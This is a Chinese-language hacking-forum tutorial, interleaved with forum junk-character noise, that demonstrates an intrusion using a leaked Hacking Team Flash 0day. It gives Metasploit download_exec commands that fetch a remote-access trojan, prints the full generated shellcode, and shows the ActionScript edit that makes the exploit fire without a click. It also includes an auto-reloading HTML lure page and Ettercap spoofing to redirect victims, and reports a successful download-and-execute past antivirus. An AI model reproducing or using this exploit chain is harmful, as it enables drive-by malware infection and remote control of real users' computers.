$ F0 C2 L9 i8 W' Q
三、flash 0day之手工代码修改制作下载者实例入侵演示 ( `# v; M1 Q) F) f; K
# I% D1 M3 U4 Z% d' r) R- M6 }, l( ?4 t$ |( y/ ~: C1 I9 i
利用到的工具: % I, E; x M9 ^- f' f4 o
! L( Q- _) e F' m# k f. l( s; q) W! u1 y- Z
Msf
! _0 y. u/ l2 l2 r0 g 2 l% l7 a) d& b5 Z& h$ A1 A# p
6 X7 _# x4 w) L- ^2 @/ K
Ettercap
0 ?+ C3 p% k i2 c B1 d
6 A( V* B0 a+ G' }9 R! k; r
3 y/ x: f! M4 W% B) Z d Adobe Flash CS6 8 h4 H& c) W( |% K- Y
" G* K, G1 H; e
& p3 A. l& _& s% n# b- { Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
- P- X; ], R1 \' w" T* i
' ~8 T1 F6 l* H
2 z4 F+ {9 d C2 h% } l z3 S 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options 8 E. V: y- d4 x9 b& J2 n/ A' C* _
8 v' m$ {; T2 s
/ v* c# A" }5 `: t n 如图: ( R: V( t* i" @6 {, d
& t4 G; U) Y) `+ \6 w) J" ~3 Q7 ?" G9 M5 f8 `6 B
7 j9 c( K1 s; G7 {% q+ R
8 z7 {: M' ], s, L) A7 l
( n* I1 C. u7 }$ m- ^
2 ^5 S' P. c9 e8 H# V 5 v0 u5 w+ q4 U* o2 _5 ]
* _% m: ?: ?+ z% O" {) t 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
; J! @: J2 }' x! n" w4 B 7 t0 e& c0 F( i: f1 @8 R
' B# z' w3 H. H2 K" j2 K. h 1 W5 B6 }/ k; j% A5 r2 w
6 B0 G2 _2 l r- O$ Z2 m6 ?! z
, y/ Y- |( j. M2 Z2 f+ Z# y) d" D# [$ y
' J: g1 r7 ?' ^6 i # }. h" L% W9 E# O7 }7 U% ?
4 o8 p; d% ~) o' O
然后执行generate -t dword生成shellcode,如下: " s) L% @2 T& _& {" g1 _
" m( B! S2 s6 E* q
5 q; S+ I0 x+ r/ _+ r7 d( ? ( L% {# K# o% }" d$ R, U
8 ]8 U$ P1 @. T. z
8 D3 p w2 M7 U% ~+ I* F+ i 复制代码到文本下便于我们一会编辑flash exp,如下: 8 \- S8 m( H$ r& e5 D4 y
2 M+ u+ y1 I. f3 n8 i! n1 D/ e) @ R( G* m) G _ {
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, / F2 i) A1 w: d( p7 Z4 a- l
* E/ c/ d6 i n; y E; A, U d! M
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
/ z4 A7 W5 J9 J: L9 Z4 p j % t5 B% w+ V" Z+ z; x
c* Q5 `$ Y& c 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
+ K& y1 g& M9 @& U G+ ^ 2 n/ {3 @9 a$ N( Q3 E' O6 X+ n
: E2 S* r/ _, F1 b3 F+ O
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 2 T- L" B$ o/ F2 s2 T2 f
: V2 p: u- x [2 u6 X# o2 H+ x6 A4 }4 J9 m1 v/ x
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
4 r" t& `1 a6 B
4 k6 m/ a% k0 T# R7 e* I0 B& P S4 f0 P) j$ R' V
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, 5 U4 t2 n ^( Z. H
0 o* K- q' r; p6 r3 g/ ~" t
1 l4 U3 C4 R% a, j5 ?$ b! a- k) h 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, ( i" \: H6 j# Y `; y
K( a) n% {' e; K2 }7 R6 }
% r$ O1 A- K; r6 O" i 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, |1 Z, l2 a; H* \0 j
/ p0 p$ |* A& g$ M& H& L' ^- E4 M7 T: Y/ s1 _& O* h5 _% h+ m. z" G, m0 ^
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
, L$ _% _2 z8 ]! |, n$ V% f / u* R$ F4 s3 a2 r' O
: U# H. W" `3 o* Z) ~) f5 \ 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, ! |+ e! Z2 W: ]3 E+ x
1 S/ W! f8 c1 V: E3 y
/ A* T3 Y/ G9 y; y) v6 A( Z 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, . }4 _2 C, Y! e% N* U
! ? H7 @& k+ z! m. }! H
& Y# H+ J+ S, k0 n
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
. d( b6 O. E' `5 ]* @& {% l6 E
8 z% t3 ^# O$ |0 ?/ e, W
% c: I, Q! B) N% z 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 8 s- T! S9 w- x2 d
) t6 b, V. N( e2 L1 w0 X& V3 s. s& j% `, c
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 & X) X' E, v2 u, c, }; f: V& s
* c' ?5 Q* H) S1 p
& L1 ], Y1 q- Y: h- Q( d
. \* w: z! |6 Z( v
- w% N+ N& E: ` W; n5 p J' j9 R4 v0 Q
, ~6 U5 x* i" g! \
# G4 |# x4 E9 o( y0 I% f
' u3 X) P; j9 U% N7 X$ Z. F
下面我们来修改flash 0day exp,需要修改三个文件,分别为: ( C$ ?1 @+ r+ T- p0 @7 u) [
. m/ U9 [$ Y+ b7 R# T. \1 x* s. t
, w ? d e( Z
4 m- p# U3 o; @% S: \' B1 p
; }, D9 @0 \8 v
" X9 S) M& E% F" t
先修改ShellWin32.as,部分源代码如图:
s! ]: W9 ]6 l# q1 \; g- g! q / i m: }5 D" K+ k1 S1 V
2 k% Y7 @; ~4 H
# ^7 u# b8 p4 b / A. {1 i( f; Q& Y" ^/ i4 r0 }
6 l6 X f: f1 }: b; Z 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: - c# o3 i5 {: ~' Z1 l/ m
8 h6 p, M1 o( P. N, J
( X/ Z2 o. p- W: o+ H ; O* ?+ U/ `# Y& H2 g* `* H
1 [+ g; N8 g0 M- m2 Y. B1 d, f7 G' i' { f
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: 4 X `( o, V y/ Z7 U% g- F q
# r4 W& B+ w/ R! K* i4 Q
4 E9 i5 O0 c' F Y" r+ w" b4 b
( P9 b' y7 f" S/ ?9 z# ~9 b 3 Z, k' b9 i: W! k; o+ @! {
6 ^2 W O5 O" L" J# ] 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
1 P1 g3 l& U5 h. j; o l- o ! K( O* g1 \* `+ \8 F
9 E( E8 }% _! [" O Y) K: h
6 u f. Q8 U7 ?* i: h( S% c0 q 2 ^1 M) g+ p+ b, H$ e$ E
' F3 Z q1 L) `0 g+ w# K2 S. ^8 |* Z ; G. O) [0 Y6 Z6 ~8 F: O" e& g
# y- Z: x' N" o* C! R6 }
5 ]( O. b3 W' v" b
- G8 N, W: F5 g; k; T) X ]
1 n, a; K' v( e4 g
: x, U6 I/ w( o4 o8 ] 然后点保存,下面我们来编译一下,打开
0 O8 b! l6 ]* |/ r% W1 F 9 o/ G; ?! Y; I6 d' _: C
1 n5 i: }- a9 w+ F$ o
exp1.fla然后点文件-发布,看看编译没错误
- [7 p, r! @: s8 [: ~- n8 t
3 O x. y# \7 I' c0 L6 P8 i$ F! E, C6 d0 f
5 |. K1 x u8 {+ Y+ p 5 j1 b! T4 W; y d* p+ a- q" ]8 q: ?( E
/ y8 S( h# x# b+ y! s- q
* L# r( t8 ]1 v% l$ Y1 P; N" Q4 u8 [5 D
$ P& Y# k+ C$ A& W! P4 R* v$ J9 {' a- _3 q4 }' M' n# _
6 j2 G- R/ y# ~% M' R& i( j
3 F& h' U+ {! Q% a
4 K# |* L4 ?, T9 H* n 1 l% h; s. h2 j8 z2 G4 X1 |
3 p5 L/ f9 t$ [4 ^$ f! }
8 l c, l' n3 s5 G: A 然后我们把生成的 ' A5 U1 F3 u0 a8 I9 E
$ `5 l# w1 {' @9 Z' r# c/ J
. @- E- E6 S: @& u exp1.swf丢到kailinux 的/var/www/html下:
- x) {% ~3 ?3 E: J+ c9 d. e
( R4 w' x7 P4 z: H; ?: g8 D& S, L& C* s5 c+ c7 F; k
然后把这段代码好好编辑一下 ; Q" y, @" D; z% q: a( j/ G- g0 v
: @ O2 H' n; E3 ^1 U+ p" Q
z- [+ G. l8 V2 g3 \# R+ [0 D! V " k2 e4 C8 U$ P" v
& `; v; g R1 `
8 b8 z+ W4 D) C: [% l4 S% A+ {' {
& i* I: c5 H9 K
* r6 O& Z+ E7 d
# ]6 s" z* [/ m2 R M 0 `! ]# S4 q) b2 Y/ G; m; G
( Q) [/ T. S* G6 Q$ k
* t7 u* Z6 v$ t. j3 N/ G6 @5 }, Q6 r
- t2 T. B$ W6 G. n ) M% L8 H6 e. z1 G3 o" E! Z! A5 N
/ P' D- [) j4 i, r- L8 a: r9 Z
8 ~1 v# Y# c) i- J# Z
" h9 o& T' v3 z. N# w8 R! |* h: [2 `/ d3 }, B1 u5 Z+ O
U# V/ s5 H0 y& ]: w & v3 ^$ D& F: O8 S c, S/ T, d- A5 n
" @: ^8 n% I" Y9 ~2 ~9 e+ H
<!DOCTYPE html>
" {4 s+ |+ c6 S 8 X1 ]+ p$ \, z! P' C
4 c% V) y3 r' o- H
<html> % K+ v" R& i3 F# q
$ X. F' Z$ F! n. _2 e) X8 v4 I) b1 j" l# z4 _
<head> / l g N3 }0 r; L- _# s: L* `7 C0 h
3 v0 m% {# f$ O3 }+ g; H
* a# n" Y1 A, |) {) c0 P <meta http-equiv="Content-Type" content="text/html; : e9 T; K M9 V' I- ~! K: F
& N9 r: G9 C1 {! {) P/ `. g9 `0 H9 K* X9 ] M- }
charset=utf-8"/>
) a7 n8 I8 ]5 V
( z g/ v7 A& S7 g; D* H6 J# a2 n" i# U" Y: Z# K5 l `
</head>
- N" e: a- D6 k 6 r) y. I; }1 X0 j8 i
* z1 C# N p6 U1 o: Z: M3 F* O <body> z. E. n8 O/ W, ?! Y/ P
; h. c; j3 n) X! z4 \! {% p: \) z9 L. X8 P9 v/ Y% n
<h2> Please wait, the requested page is loading...</h2> . u4 B3 b) m* U, w* ^8 B
, j9 j4 ]: O# u# T) G+ C( i1 B! j
x c( O6 U/ C <br> 7 M$ l* l+ {: s" ?
P: t* f' z* e* b. A3 z1 z! S7 g1 {/ \/ f$ U/ F
<OBJECT
' t% w& t0 b) O" \# L, i% z ( y" O0 }) j* G$ i3 |) z _
' C! B0 t' O+ `* k2 E/ [: { classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie - m! ^ f2 L# V4 V8 b9 J& m
2 p; p5 {! p" S0 T5 n; w3 s6 Z, _- s6 I8 @- ^
VALUE="http://192.168.0.109/exp1.swf"></OBJECT> 9 h, Q, l b& K! V6 N; _0 U
8 C* s; C) i/ D
! L3 w9 O. v" g8 x2 x- I </body> , f" ?" G, f5 l
8 p8 V" {! L$ x. J3 A8 I7 j* g2 K* ^, P; ?1 |
<script> 9 b4 [/ I/ N) X' N1 r- Y
. k) i8 f. K4 ?7 a" u) J9 B8 w+ m$ ]0 ?7 G7 ]' A8 M
setTimeout(function () {
6 H) ^/ }( X. `2 l
, I4 b5 y+ a6 x6 {' p' H
9 C# R7 N) P/ v
. _2 b$ `3 u/ u- Q* b
: v& i$ Z: J: x' b- n5 [# }; L, k. O! r: c7 H4 J
window.location.reload(); N" X7 j- j2 Q4 T0 V& M9 s
" V3 |: l. k8 w% r( y' t6 X! Y
3 u" s l/ {1 `( @+ Q# F& q7 b
}, 10000);
3 j% L* a; J4 k ( ~) J/ g# X7 Q$ c" h$ B% g) K
( M' y5 r1 W# ]/ r. ~
. D2 V+ v: K0 _" g p7 I; D
$ x- [9 |, j1 R }; b4 I
: F4 F1 h, k4 X7 y+ O i9 v+ { </script>
) f* F, l! x+ g$ N 2 l2 R, X, M+ V
q0 F/ ]" N8 O) R
</html>
% l4 {% }# { I) @# H/ I
' M9 P$ S: ?, l! x, T- Z5 D0 I" m& M' D
* x( ^1 B/ r0 o/ }2 Y- u& ]8 H ( N' r% b$ W8 V+ h H; Y9 F5 x+ C
+ n6 A& U! b8 e
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
6 z0 j9 T! k2 ~/ K 0 t3 f. C( |; Q: {/ D
# ?& c/ l; K( `% i% }# H \5 C) `6 n
$ D+ G1 X" ^# d" [" S3 |- k
2 q" k" n1 ]- @) ~
, X. [6 u* U$ l7 T# q
: x: d: w. @: ^& M, b
9 e v! x4 S1 }" W3 e$ [7 ~5 ?
: Y: L) h' t9 J7 \; [6 j$ s( ^+ ?
; e/ P2 y9 `7 ]4 N3 J1 g" t; l
8 D7 _0 f( k5 y9 n1 P' m* y
5 z4 O: q4 @! h7 V 7 r! B/ ~+ q" n5 Y
- n- N2 R) f8 p5 S6 `! a1 g, n8 K" I8 o: n& v" [% J, e* M6 l* t$ n7 _
$ Z& I) Q8 w: D' C ) S! x7 Y2 d7 }3 l' I
+ U" ]: T) x" W& H0 c, d1 T
下面我们用ettercap欺骗如图:
1 e3 Z& V6 k6 r1 Y8 q2 w" s1 h
3 O. U c7 N$ l8 a5 Q E! e, k& j4 K, {; j% a
& r. T) `6 o6 }1 {
* A! w; ~# B9 C3 Z& Z0 A9 x! f3 Q& M1 A# k& D! n/ t4 R+ S
6 p& l# A0 e1 P0 z: L( T , ~. a6 { F3 O, a3 h7 F, R
" W3 O2 d! l5 @# n0 [" F7 A' G) D) V
下面我们随便访问个网站看看:
3 \3 P; z, @2 V # g) Z! N6 Y! P2 Z) \3 w0 J4 W
5 i4 _8 T+ Z: s1 T" \( A
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: % D$ d$ j" N2 B9 \
8 k3 [ I x; G' E- y1 Q" H
# t3 V$ e+ c! E# n0 v1 Y" k9 ]
# m8 b! l4 `0 b! j& w- W
% L; J. ~1 c8 U0 e0 t( Z6 w3 K0 @# k0 }8 p& _' y6 i! P# u
我们看另一台,
# {$ S7 k* E. P6 t/ q2 x4 g $ N7 [2 r4 A. Z$ }( H# d
6 x: e4 N2 S+ Y* u/ _ 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。
; u( u- P- X; b$ b! Z, W |